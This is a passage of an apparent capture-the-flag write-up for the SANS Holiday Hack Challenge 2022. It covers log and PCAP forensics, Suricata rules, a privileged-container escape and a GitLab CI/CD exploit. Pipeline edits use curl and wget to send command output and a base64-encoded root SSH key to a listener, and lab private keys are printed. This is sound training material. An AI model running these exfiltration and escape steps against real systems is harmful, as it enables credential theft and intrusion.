[{"content":"The SANS Holiday Hack Challenge is back! And with it, the long awaited fifth edition of KringleCon! This year challenges were covering logs and PCAP analysis, CI/CD vulnerabilities, a container escape, webapp hacking (XXE, CSP bypass), an introduction to AWS CLI for cloud discovery and an introduction to smart contracts. KringleCon is as well an online security conference and you can find all the talks on KringleCon’s Youtube channel. The same Discord channel as last year was available to interact with the community. A special thanks goes to the whole Counter Hack team for their constant effort to make this available to the community! Objectives Every year, we start with a pre-objective called KringleCon Orientation that helps us starting the journey to save the Holiday Season from villains! The main task here is to create a KringleCoin wallet. We will see in the last objective what this is and what will be its usage.\nKringleCoin wallet creation 1 - Recover the Tolkien Ring 1.1 Wireshark Practice Difficulty Objective Location 1/5 Use the Wireshark Phishing terminal in the Tolkien Ring to solve the mysteries around the suspicious PCAP. Get hints for this challenge by typing hint in the upper panel of the terminal. Tolkien Ring We are given a suspicious PCAP file to analyze and 7 questions to answer.\nQ1. There are objects in the PCAP file that can be exported by Wireshark and/or Tshark. What type of objects can be exported from this PCAP? In Wireshark, this can be seen in the menu File -\u0026gt; Export Objects -\u0026gt; HTTP. We can save the files to disk for further investigation.\nWireshark - export *HTTP* objects We can export as well all HTTP files with tshark. For instance, to extract all HTTP files in the current folder, we can run:\n$ tshark -Q -r suspicious.pcap --export-object http,.\nAnswer: HTTP\nQ2. What is the file name of the largest file we can export? As we can see highlighted in the previous question, the biggest file is 808 kB big.\nAnswer: app.php\nQ3. What packet number starts that app.php file? As we can see highlighted in question 1, the file is found in packet 687.\nAnswer: 687\nQ4. What is the IP of the Apache server? There are multiple ways to get the IP address. One of them is to look for the DNS queries for the webserver adv.epostoday.uk:\nWireshark - DNS query Or with tshark:\n$ tshark -r suspicious.pcap -Y 'dns.qry.name == \u0026quot;adv.epostoday.uk\u0026quot;' Answer: 192.185.57.242\nQ5. What file is saved to the infected host? If we download the app.php file we can see that in its source code. A base64 encoded bytestring is decoded and saved on disk as Ref_Sept24-2020.zip:\nWireshark - app.php Answer: Ref_Sept24-2020.zip\nQ6. Attackers used bad TLS certificates in this traffic. Which countries were they registered to? Submit the names of the countries in alphabetical order separated by a commas (Ex: Norway, South Korea). We can filter all TLS packets that have a country code and remove all the legitimate calls to Microsoft services with the following filter: (x509sat.CountryName) \u0026amp;\u0026amp; (not x509sat.printableString contains \u0026quot;Microsoft\u0026quot;). We see 2 countries, Israel and South Sudan.\nWith tshark:\n$ tshark -r suspicious.pcap -Y '(x509sat.CountryName) \u0026amp;\u0026amp; (not x509sat.printableString contains \u0026quot;Microsoft\u0026quot;)' -T fields -e x509sat.CountryName | uniq\nIL,IL\nSS,SS Answer: Israel, South Sudan\nQ7. Is the host infected (Yes/No)? The user has probably received a phishing email containing a malicious link to http://adv.epostoday.uk/app.php. Once clicked, the script downloads the file Ref_Sept24-2020.zip. We can recreate the ZIP file from the encoded payload in the app.php source code with the following commands:\n$ BYTES=\u0026quot;UEsDBBQAAAAIAFCjN1FIq7H4ezsJAIN6CwATAAAAUmVmX1NlcHQyNC[\u0026hellip;]\u0026quot;\n$ echo $BYTES | base64 -D \u0026gt; Ref_Sept24-2020.zip The ZIP file contains a malicious SCR executable (do not execute it, it\u0026rsquo;s a real malware). If we analyze the executable online, we see this is the Dridex installer. Once the user executed it, it started to communicate with the C2 servers through TLS. The 2 malicious IP addresses are 62.98.109.30 (SS) and 151.236.219.181 (IL).\nUnit42 - Dridex infection Answer: Yes\nThe PCAP file was taken from this repo: https://github.com/pan-unit42/wireshark-tutorial-Dridex-traffic and goes with the companion blogpost of the Unit42 team here: https://unit42.paloaltonetworks.com/wireshark-tutorial-dridex-infection-traffic/ 1.2 Windows Event Logs Difficulty Objective Location 2/5 Investigate the Windows event log mystery in the terminal or offline. Get hints for this challenge by typing hint in the upper panel of the Windows Event Logs terminal. Tolkien Ring We are given a Powershell event log to analyze this time. The description of the challenge mentions that a keylogger was downloaded to gather admin credentials and that Powershell was used to retrieve a secret recipe for Lembanh. We need to recover the secret ingredient that was stolen.\nWe can start by converting the EVTX file to JSON to parse it more easily. We can use evtx_dump from this repo and convert it with:\n$ ./evtx_dump --dont-show-record-number -o json -f powershell.json powershell.evtx We then have to answer to 10 questions.\nQ1. What month/day/year did the attack take place? Let\u0026rsquo;s take the very first event of the logs to get the main attributes of a Windows event:\njq -s \u0026#39;.[0]\u0026#39; powershell.json The SystemTime value could be a good indicator of when the attack took place. The attack could have been noisy and generated lots of logs. The following command retrieves all SystemTime values that are not null, extracts only the year-month-day value and count them:\njq -s \u0026#39;.. |.SystemTime? | select(. != null) | split(\u0026#34;T\u0026#34;)[0]\u0026#39; powershell.json | sort | uniq -c The day with the most hits is on Christmas Eve.\nAnswer: 12/24/2022\nQ2. An attacker got a secret from a file. What was the original files\u0026rsquo;s name? We can list all the commands that were logged with:\n$ jq -s '.. | .ScriptBlockText? | select(. != null) | select(. != \u0026quot;prompt\u0026quot;)' powershell.json\nPowershell commands We can see that the attacker reads first the content of the Recipe file and then tries to replace some content with another before storing the result in a new file recipe_updated.txt.\nAnswer: Recipe\nQ3. The content of the previous file were retrieved, changed, and stored to a variable by the attacker. This was done multiple times. Submit the last full Powershell line that performed only these actions. As we saw in the previous question, the variable where the content of the file is retrieved is $foo. Let\u0026rsquo;s select those lines only with:\n$ jq -s '.. | .ScriptBlockText? | select(. != null) | select(contains(\u0026quot;$foo\u0026quot;))' powershell.json\n$foo variable Answer: $foo = Get-Content .\\Recipe| % {$_ -replace 'honey', 'fish oil'}\nQ4. After storing the altered file contents into the variable, the attacker used the variable to run a separate command that wrote the modified data to a file. This was done multiple times. Submit the last full Powershell line that performed only that action. If we retake the previous screenshot, we see that the content of $foo is then written into 2 new files, recipe_updated.txt and Recipe.txt and finally appended to the original file Recipe as well.\nAnswer: $foo | Add-Content -Path 'Recipe'\nQ5. The attacker ran the previous command against a file multiple times. What is the name of this file? Still on the last screenshot, we can see it was done 3 times on Recipe.txt.\nAnswer: Recipe.txt\nQ6. Were any files deleted? (Yes/No) We can look for the Remove-Item command in the Payload field with:\njq -s \u0026#39;.. | .Payload? | select(. != null) | select(contains(\u0026#34;Remove-Item\u0026#34;))\u0026#39; powershell.json or the del command in the ScriptBlockText field:\njq -s \u0026#39;.. | .ScriptBlockText? | select(. != null) | select(contains(\u0026#34;del \u0026#34;))\u0026#39; powershell.json Answer: Yes\nQ7. Was the original file (from question 2) deleted? (Yes/No) The original file was Recipe and was not deleted as we can see in the 2 previous screenshots.\nAnswer: No\nQ8. What id the Event ID of the log that shows the actual command line used to delete the file? The actual command that was ran to delete the files is del. We can grep the logs to retrieve the Event ID as follows:\ngrep -i \u0026#34;del \u0026#34; -A 10 powershell.json Answer: 4104\nQ9. Is the secret ingredient compromised (Yes/No) In question 2, we saw that the attacker initially did a cat ./Recipe. Therefore he saw the secret ingredient.\nAnswer: Yes\nQ10. What is the secret ingredient? From the result of the cat ./Recipe we can retrieve the initial recipe. We have to look for the Out-Default Powershell command that is executed after each command that outputs a result.\nWe can narrow down the results as we know the recipe is about Lembanh with:\n$ jq -s '.. | .Payload? | select(. != null) | select(contains(\u0026quot;Out-Default\u0026quot;)) | select(contains(\u0026quot;Lembanh\u0026quot;))' powershell.json | head -1\nWe can then reconstruct the orginal recipe:\nRecipe from Mixolydian, the Queen of Dorian\nLembanh Original Recipe\n2 1/2 all purpose flour\n1 Tbsp baking powder\n1/4 tsp salt\n1/2 c butter\n1/3 c brown sugar\n1 tsp cinnamon\n1/2 tsp honey (secret ingredient)\n2/3 c heavy whipping cream\n1/2 tsp vanilla extract\nPreheat oven to 425F. Mix the flour, baking powder and salt into a large bowl. Add the butter and mix with a well till fine granules (easiest way is with an electric mixer). Then add the sugar and cinnamon, and mix them thoroughly.\nFinally add the cream, honey, and vanilla and stir them in with a fork until a nice, thick dough forms.\nRoll the dough out about 1/2 in thickness. Cut out 3-inch squares and transfer the dough to a cookie sheet. Criss-cross each square from corner-to-corner with a knife, lightly (not cutting through the dough).\nBake for about 12 minutes or more (depending on the thickness of the bread) until it is set and lightly golden.\nLet cool completely before eating, this bread tastes better room temperature and dry. Also for more flavor you can add more cinnamon or other spices\n The attacker tried to replace the secret honey ingredient with fish oil as part of his attack.\nAnswer: honey\n1.3 Suricata Regatta Difficulty Objective Location 3/5 Help detect this kind of malicious activity in the future by writing some Suricata rules. Work with Dusty Giftwrap in the Tolkien Ring to get some hints. Tolkien Ring In this terminal challenge, we are tasked to create multiple Suricata rules to block the C2 traffic we analyzed in the first challenge. The rules must be create in the /home/elf/suricata.rules and can be tested by running /home/elf/rule_checker.\nThe Suricata documentation can help here: https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html. We can as well take example of the other rules already configured in /home/elf/suricata.rules.\nRule 1. Create a Suricata rule to catch DNS lookups for adv.epostoday.uk. Whenever there\u0026rsquo;s a match, the alert message (msg) should read \u0026ldquo;Known bad DNS lookup, possible Dridex infection\u0026rdquo;. We need a filter on the dns protocol for dns_query that look for the malicious website. This translates into:\nalert dns any any -\u0026gt; any any (msg:\u0026ldquo;Known bad DNS lookup, possible Dridex infection\u0026rdquo;; dns_query; content:\u0026ldquo;adv.epostoday.uk\u0026rdquo;; sid:1337; rev:1;) Rule 2. Develop a Suricata rule that alerts whenever the infected IP address 192.185.57.242 communicates with internal systems over HTTP.\nWhen there\u0026rsquo;s a match, the message (msg) should read \u0026ldquo;Investigate suspicious connections, possible Dridex infection\u0026rdquo;. Here the rule must be bidirectional. We can use the non-directional marker \u0026lt;\u0026gt;.\nalert http 192.185.57.242 any \u0026lt;\u0026gt; $HOME_NET any (msg:\u0026ldquo;Investigate suspicious connections, possible Dridex infection\u0026rdquo;; sid:1338; rev:1;) Rule 3. Develop a Suricata rule to match and alert on an SSL certificate for \u0026ldquo;heardbellith.Icanwepeh.nagoya\u0026rdquo;.\nWhen your rule matches, the message (msg) should read \u0026ldquo;Investigate bad certificates, possible Dridex infection\u0026rdquo; This one is a little more tricky. We can check for the certificate issuer.\nalert tls any any -\u0026gt; any any (msg:\u0026ldquo;Investigate bad certificates, possible Dridex infection\u0026rdquo;; tls.cert_issuer; content:\u0026ldquo;heardbellith.Icanwepeh.nagoya\u0026rdquo;; nocase; isdataat:!1,relative; sid:1340;) Rule 4. Let\u0026rsquo;s watch for one line from the JavaScript: let byteCharacters = atob\nOh, and that string might be GZip compressed - I hope that\u0026rsquo;s OK!\nJust in case they try this again, please alert on that HTTP data with message \u0026ldquo;Suspicious JavaScript function, possible Dridex infection\u0026rdquo; Nothing fancy here. the file_data keyword can inspect base64 encoded strings by default.\nalert http any any -\u0026gt; any any (msg:\u0026ldquo;Suspicious JavaScript function, possible Dridex infection\u0026rdquo;; file_data; content:\u0026ldquo;let byteCharacters = atob\u0026rdquo;;) 2 - Recover the Elfen Ring 2.1 Clone with a Difference Difficulty Objective Location 1/5 Clone a code repository. Get hints for this challenge from Bow Ninecandle in the Elfen Ring. Elfen Ring The goal here is to clone a Git repository and get the last word of README.md file. We are initially asked to do it with the following command:\n$ git clone git@haugfactory.com:asnowball/aws_scripts.git This fails with the following error:\ngit@haugfactory.com: Permission denied (publickey).\nfatal: Could not read from remote repository.\nPlease make sure you have the correct access rights and the repository exists.\n We tried to clone the repository through SSH and our public SSH key is probably not allowed in the repository. Another way to clone repositories is through HTTP/S. We can simply do:\n$ git clone http://haugfactory.com/orcadmin/aws_scripts.git\n$ cd aws_scripts\n$ tail README.md Answer: maintainers\n2.2 Prison Escape Difficulty Objective Location 3/5 Escape from a container. Get hints for this challenge from Bow Ninecandle in the Elfen Ring. What hex string appears in the host file /home/jailer/.ssh/jail.key.priv? Elf House For this challenge, the goal is to escape from a jailed process and access the host system to read the file /home/jailer/.ssh/jail.key.priv.\nLet\u0026rsquo;s start with some discovery. First of all we need to determine in what kind of \u0026ldquo;jail\u0026rdquo; we are in. The mountcommand shows that we are in a Docker container. We can see that in the different overlay paths containing the word docker:\n$ mount\noverlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/UP3VWCCMOBLFUPP53LKFFELBQT:/var/lib/docker/overlay2/l/NYZRV6EE566LD3JY5Q7TIGWA42:/var/lib/docker/overlay2/l/247PETFPQ5W6UFKOLGLHQKDZPJ:/var/lib/docker/overlay2/l/JB62BUPPTFNFFOYJEUX26WS7VB:/var/lib/docker/overlay2/l/PWCREWRWPOFAZ475PVNTWKI3BA:/var/lib/docker/overlay2/l/QWVRNL7TBRSVRQNV6PU4GO4JXT:/var/lib/docker/overlay2/l/TWFXPHIQZBGAT4C6T6HJIIKJ44:/var/lib/docker/overlay2/l/G5OWW3UAAB5JJFUI4JGTWSHKAZ:/var/lib/docker/overlay2/l/I32VFD5VVO2ECSFVS2GNQKA3Q4:/var/lib/docker/overlay2/l/PKZQSCTMKHO2R432Q2EID56KNP,upperdir=/var/lib/docker/overlay2/f50549b9e9e3d5a4f3e0b238c187c967022ff7cc3bd746b2163ca333d76263c0/diff,workdir=/var/lib/docker/overlay2/f50549b9e9e3d5a4f3e0b238c187c967022ff7cc3bd746b2163ca333d76263c0/work)\nproc on /proc type proc (rw,nosuid,nodev,noexec,relatime)\ntmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)\ndevpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)\nsysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)\ntmpfs on /sys/fs/cgroup type tmpfs (rw,nosuid,nodev,noexec,relatime,mode=755)\ncgroup on /sys/fs/cgroup/systemd type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,name=systemd)\ncgroup on /sys/fs/cgroup/pids type cgroup (rw,nosuid,nodev,noexec,relatime,pids)\ncgroup on /sys/fs/cgroup/freezer type cgroup (rw,nosuid,nodev,noexec,relatime,freezer)\ncgroup on /sys/fs/cgroup/perf_event type cgroup (rw,nosuid,nodev,noexec,relatime,perf_event)\ncgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (rw,nosuid,nodev,noexec,relatime,net_cls,net_prio)\ncgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct)\ncgroup on /sys/fs/cgroup/memory type cgroup (rw,nosuid,nodev,noexec,relatime,memory)\ncgroup on /sys/fs/cgroup/hugetlb type cgroup (rw,nosuid,nodev,noexec,relatime,hugetlb)\ncgroup on /sys/fs/cgroup/blkio type cgroup (rw,nosuid,nodev,noexec,relatime,blkio)\ncgroup on /sys/fs/cgroup/devices type cgroup (rw,nosuid,nodev,noexec,relatime,devices)\ncgroup on /sys/fs/cgroup/cpuset type cgroup (rw,nosuid,nodev,noexec,relatime,cpuset)\nmqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)\n/dev/root on /config type ext4 (rw,relatime)\n/dev/root on /etc/resolv.conf type ext4 (rw,relatime)\n/dev/root on /etc/hostname type ext4 (rw,relatime)\n/dev/root on /etc/hosts type ext4 (rw,relatime)\nshm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k) The same can be achieved with:\n$ cat /proc/1/cgroup\n11:cpuset:/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d\n10:devices:/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d\n9:blkio:/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d\n8:hugetlb:/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d\n7:memory:/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d\n6:cpu,cpuacct:/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d\n5:net_cls,net_prio:/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d\n4:perf_event:/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d\n3:freezer:/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d\n2:pids:/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d\n1:name=systemd:/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d\n0::/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d Next step is to define what are our privileges in the container. We run as user samways but we have high sudoer privileges:\n$ id\nuid=1000(samways) gid=1000(users) groups=1000(users)\n$ sudo -l\nUser samways may run the following commands on grinchum-land:\n(ALL) NOPASSWD: ALL\n$ sudo su A good indicator of a privileged container is to list /dev and check if we see the host\u0026rsquo;s device files (disk, ttys, loops, etc.). And this is the case here. We can as well list the host disks with:\n$ sudo fdisk -l\nDisk /dev/vda: 2048 MB, 2147483648 bytes, 4194304 sectors\n2048 cylinders, 64 heads, 32 sectors/track\nUnits: sectors of 1 * 512 = 512 bytes We can confirm the high privileges as well by checking the capabilities the container has with:\n$ grep Cap /proc/1/status\nCapInh: 0000000000000000\nCapPrm: 0000003fffffffff\nCapEff: 0000003fffffffff\nCapBnd: 0000003fffffffff\nCapAmb: 0000000000000000 0x3fffffffff means ALL the capabilities which translates into a privileged container.\nFor more information about Linux capabilities, you can read https://tbhaxor.com/understanding-linux-capabilities/ and https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities.\nWith access to the host /dev, we can mount the host disk in the container and interact with it:\n$ sudo su\n# mkdir /tmp/host\n# mount /dev/vda /tmp/host/\n# cd /tmp/host\n# ls -la home\ntotal 12\ndrwxr-xr-x 3 root root 4096 Dec 1 19:12 .\ndrwxr-xr-x 18 root root 4096 Sep 28 22:40 ..\ndrwxr-xr-x 3 root root 4096 Dec 1 19:12 jailer And we can read the private key of the user jailer:\n/home/jailer/.ssh/jail.key.priv Answer: 082bb339ec19de4935867\nFun fact, the GCP metadata service is reachable from the container. We can retrieve all the metadata of the host system with:\n$ curl -H \u0026quot;Metadata-Flavor:Google\u0026quot; http://metadata.google.internal/computeMetadata/v1/?recursive=true Unfortunately, the host does not have any service-account set :)\n 2.3 Jolly CI/CD Difficulty Objective Location 5/5 Exploit a CI/CD pipeline. Get hints for this challenge from Tinsel Upatree in the Elfen Ring. Elf House This challenge is about expoiting a Gitlab CI/CD pipeline. We are given an internal Gitlab project: http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git and we know as well that each commit will automatically trigger a GitLab runner that will automatically deploy the changes to production.\nLet\u0026rsquo;s start by cloning the given project:\n$ git clone http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git\n$ cd wordpress.flag.net.internal/ The pipeline configuration is found in the file .gitlab-ci.yml:\n$ cat .gitlab-ci.yml\nstages:\n- deploy\ndeploy-job:\nstage: deploy\nenvironment: production\nscript:\n- rsync -e \u0026ldquo;ssh -i /etc/gitlab-runner/hhc22-wordpress-deploy\u0026rdquo; --chown=www-data:www-data -atv --delete --progress ./ root@wordpress.flag.net.internal:/var/www/html\n We see that the root SSH private key path is leaked and can be found in /etc/gitlab-runner/hhc22-wordpress-deploy. It is used to sync the modified files in the production webserver.\nIf we try to commit something, we get the following error:\nAuthor identity unknown\n*** Please tell me who you are.\nRun\n git config --global user.email \u0026ldquo;you@example.com\u0026rdquo;\ngit config --global user.name \u0026ldquo;Your Name\u0026rdquo;\nto set your account\u0026rsquo;s default identity.\nOmit --global to set the identity only in this repository.\nfatal: empty ident name (for samways@grinchum-land.flag.net.internal) not allowed\n So we configure our Git user:\n$ git config --global user.email samways@grinchum-land.flag.net.internal\n$ git config --global user.name \u0026quot;samways\u0026quot; We can now commit but when we push the change we need to provide a username/password that we do not have. When looking at the commit history, we can see a weird whoops comment in a commit:\n$ git log\nAuthor: knee-oh sporx@kringlecon.com\nDate: Wed Oct 26 13:58:15 2022 -0700\n updated wp-config\n[…]\ncommit e19f653bde9ea3de6af21a587e41e7a909db1ca5\nAuthor: knee-oh sporx@kringlecon.com\nDate: Tue Oct 25 13:42:54 2022 -0700\n whoops\n[…]\n We print the commit changes to see if anything went wrong:\n$ git show e19f653bde9ea3de6af21a587e41e7a909db1ca5\ncommit e19f653bde9ea3de6af21a587e41e7a909db1ca5\nAuthor: knee-oh sporx@kringlecon.com\nDate: Tue Oct 25 13:42:54 2022 -0700\n whoops\ndiff --git a/.ssh/.deploy b/.ssh/.deploy\ndeleted file mode 100644\nindex 3f7a9e3..0000000\n--- a/.ssh/.deploy\n+++ /dev/null\n@@ -1,7 +0,0 @@\n------BEGIN OPENSSH PRIVATE KEY------\n-b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW\n-QyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4gAAAJiQFTn3kBU5\n-9wAAAAtzc2gtZWQyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4g\n-AAAEBL0qH+iiHi9Khw6QtD6+DHwFwYc50cwR0HjNsfOVXOcv7AsdI7HOvk4piOcwLZfDot\n-PqBj2tDq9NBdTUkbZBriAAAAFHNwb3J4QGtyaW5nbGVjb24uY29tAQ==\n------END OPENSSH PRIVATE KEY------\ndiff --git a/.ssh/.deploy.pub b/.ssh/.deploy.pub\ndeleted file mode 100644\nindex 8c0b43c..0000000\n--- a/.ssh/.deploy.pub\n+++ /dev/null\n@@ -1 +0,0 @@\n-ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP7AsdI7HOvk4piOcwLZfDotPqBj2tDq9NBdTUkbZBri sporx@kringlecon.com\n An SSH private and public key were pushed to Gitlab and this commit deletes both files! We configure this key for our local user and clone again the repo using SSH this time:\n$ mkdir .ssh\n$ vim .ssh/id_ed25519 # write the private key\n$ chmod 400 .ssh/id_ed25519\n$ rm -Rf wordpress.flag.net.internal\n$ git clone git@gitlab.flag.net.internal:rings-of-powder/wordpress.flag.net.internal.git This time we can push changes to the repo without being asked for a username/password! The idea here would be to modify the pipeline config to leak some Gitlab server data to our host/container. First we get our IP address with hostname -i and try a basic curl back to our host. We add the following line to the script section of the .gitlab-ci.yml file:\n- curl \u0026ldquo;http://172.18.0.99/$(id)\u0026rdquo; We commit, push, start a local web listener and wait for a ping:\n$ git add --all \u0026amp;\u0026amp; git commit -m \u0026quot;test1\u0026quot; \u0026amp;\u0026amp; git push \u0026amp;\u0026amp; python3 -m http.server 80 No ping, let\u0026rsquo;s replace curl with wget just in case curl is not installed. And this time, we get a call back leaking the output of the id command:\ncommand execution Now let\u0026rsquo;s leak the root SSH private key. We replace the script command with:\n- wget \u0026ldquo;http://172.18.0.99/$(base64 /etc/gitlab-runner/hhc22-wordpress-deploy)\u0026rdquo; And a few seconds after the push, we get the private key:\nwebserver root private SSH key We need to strip the superfluous %0A characters and we can save it:\n$ echo \u0026quot;LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFNd0FBQUF0emMyZ3RaVwpReU5UVXhPUUFBQUNEOEVZZFpUT3BmNVJFdVdYTWI5RktDRldvaUlYMkhvVTFhSDkwVjBQdHEzd0FBQUppTVhyMEJqRjY5CkFRQUFBQXR6YzJndFpXUXlOVFV4T1FBQUFDRDhFWWRaVE9wZjVSRXVXWE1iOUZLQ0ZXb2lJWDJIb1UxYUg5MFYwUHRxM3cKQUFBRUJ0TkU2c3FPRm9xa21PaGNCLzlEZ3phUWhRUkMvYndrQWJzQlh3cXJ0L21Qd1JoMWxNNmwvbEVTNVpjeHYwVW9JVgphaUloZlllaFRWb2YzUlhRKzJyZkFBQUFGSE53YjNKNFFHdHlhVzVuYkdWamIyNHVZMjl0QVE9PQotLS0tLUVORCBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0K\u0026quot; | base64 -d \u0026gt; priv We can now use it to connect to the webserver as root and retrieve the flag at the root of the filesystem:\n$ chmod 400 priv\n$ ssh -i priv root@wordpress.flag.net.internal We can now simply read the /flag.txt file:\nflag.txt Answer: oI40zIuCcN8c3MhKgQjOMN8lfYtVqcKT\n3 - Recover the Web Ring 3.1 Boria PCAP Mining We are given a new PCAP file and the error log file of a webserver to analyze. The webserver supposedly went through an attack and we must investigate what happened by answering a few questions. From the error log we can already know the webserver IP address:\n* Running on http://10.12.42.16:8000 And from the PCAP file, if we filter only the http requests, we see that our website is http://toteslegit.us.\n3.1.1 Naughty IP Difficulty Objective Location 1/5 Use the artifacts from Alabaster Snowball to analyze this attack on the Boria mines. Most of the traffic to this site is nice, but one IP address is being naughty! Which is it? Visit Sparkle Redberry in the Tolkien Ring for hints. Web Ring If we look at the Statistics -\u0026gt; Conversation menu, we see that one IP address generates a lot of traffic with the webserver, which can is shady and probably the attacker\u0026rsquo;s IP address:\nWireshark - Conversations Answer: 18.222.86.32\n3.1.2 Credential Mining Difficulty Objective Location 1/5 The first attack is a brute force login. What\u0026rsquo;s the first username tried? Web Ring The error log shows that the login page is /login.html. We can use the following Wireshark filter to get all the attacker attempts:\n(ip.src == 18.222.86.32) \u0026amp;\u0026amp; (http.request.method == \u0026ldquo;POST\u0026rdquo;) \u0026amp;\u0026amp; (http.request.uri == \u0026ldquo;/login.html\u0026rdquo;) We have 910 POST requests and the first try is packet #7279:\nWireshark - packet 7279 The password list is quite short and has 101 password. The users that are tested are:\nalice\nbob\ncharlie\ndaniel\nedward\nfelicia\ngoran\nhoratio\ningrid Most of the tries end up with the following message: Invalid username or password.\nBut there is 1 successful try and we can see at the end of the scan (packet #21457), there is a successful login with bob:passw0rd and the attacker accesses the admin interface:\nWireshark - TCP stream 1811 Answer: alice\n3.1.3 404 FTW Difficulty Objective Location 1/5 The next attack is forced browsing where the naughty one is guessing URLs. What\u0026rsquo;s the first successful URL path in this attack? Web Ring A directory brute-force is performed by the attacker and we can see it with the following filter: (http.request.method == \u0026quot;GET\u0026quot;) \u0026amp;\u0026amp; (ip.src == 18.222.86.32). This phase starts with tcp stream 1987 and ends with stream 2449 and there are 451 tries.\nWe can get all the webserver successful responses with the filter ((http.response.code == 200) \u0026amp;\u0026amp; (ip.dst == 18.222.86.32)) \u0026amp;\u0026amp; (tcp.stream \u0026gt;= 1987) \u0026amp;\u0026amp; (tcp.stream \u0026lt;= 2449). We get 2 hits:\nWireshark - directory brute-force The /proc page is the first one to be discovered and only shows the message Post XML here. The /maintenance.html page seems to have ping command feature…we will never know if it is vulnerable to command injections ;)\nWireshark - /maintenance.html Answer: /proc\n3.1.4 IMDS, XXE, and Other Abbreviations Difficulty Objective Location 3/5 The last step in this attack was to use XXE to get secret keys from the IMDS service. What URL did the attacker force the server to fetch? Web Ring The attacker used a vulnerability in the /proc page to exploit an XXE vulnerability. We can follow the steps of the attacker with this filter:\n((http.request.method == \u0026ldquo;POST\u0026rdquo;) \u0026amp;\u0026amp; (ip.src == 18.222.86.32)) \u0026amp;\u0026amp; (http.request.uri == \u0026ldquo;/proc\u0026rdquo;) If we follow the HTTP streams for each call we see:\n tcp stream 2699: test if system commands can be ran…they can\u0026rsquo;t: Wireshark - TCP stream 2699 tcp stream 2730: test if system files can be read…they can: Wireshark - TCP stream 2730 tcp stream 2762: test if remote hosts can be called (SSRF)…they can: Wireshark - TCP stream 2762 tcp stream 2801: test if the cloud provider metadata service is reachable…it is: Wireshark - TCP stream 2801 The following call is done on http://169.254.169.254/latest/meta-data/identity-credentials/ec2/ (stream 2838) and the result shows the folder info and security-credentials. Next query is to http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials (stream 2875) that returns the identity role name of the host: ec2-instance. Last query is done with the role name to get the host credentials (stream 2907):\nWireshark - TCP stream 2907 With those credentials, we can impersonate the EC2 instance and do AWS calls with the same permissions as the instance.\nAnswer: http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance\n3.2 Open Boria Mine Door Difficulty Objective Location 3/5 Open the door to the Boria Mines. Help Alabaster Snowball in the Web Ring to get some hints for this challenge. Web Ring This is a Javascript challenge where we have some locks to unlock by creating a path between the left and right pin(s). Some doors have a Content Security Policy (CSP) that we need to bypass.\nCAPTCOA Each door is an iframe pointing to https://hhc22-novel.kringlecon.com/pin\u0026lt;number\u0026gt; and the goal is to link them all. We need to pay attention to the pins' color as well:\nCAPTCOA Lock 1 For this first lock, we can simply look at the source code of the page and see a comment: \u0026lt;!-- @\u0026amp;@\u0026amp;\u0026amp;W\u0026amp;\u0026amp;W\u0026amp;\u0026amp;\u0026amp;\u0026amp; --\u0026gt;. We unlock it by entering this string in the edit box:\nLock 1 unlocked Lock 2 The source code of the second pin show the following CSP:\n\u0026lt;meta http-equiv=\u0026ldquo;Content-Security-Policy\u0026rdquo; content=\u0026ldquo;default-src \u0026lsquo;self\u0026rsquo;;script-src \u0026lsquo;self\u0026rsquo;;style-src \u0026lsquo;self\u0026rsquo; \u0026lsquo;unsafe-inline\u0026rsquo;\u0026quot;\u0026gt; If we translate theabove in human terms:\n The default-src directive defines the default policy for fetching JS, images, CSS, etc. resources. The script-src directive defines what are the valid sources of Javascript. The style-src directive defins what are the valid sources of CSS. The source list self allows loading resources from the same origin (scheme, host and port). The source list unsafe-inline allows use of inline source elements such as style attribute, onclick, or script tag bodies (depends on the context of the source it is applied to) and javascript: URIs. In other words, we can use in-line HTML tags with inline CSS. So we can write any text, make sure to have a big size as the pins are not on the same horizontal line, translate it down and make sure the letter spacing is negative so all the letters 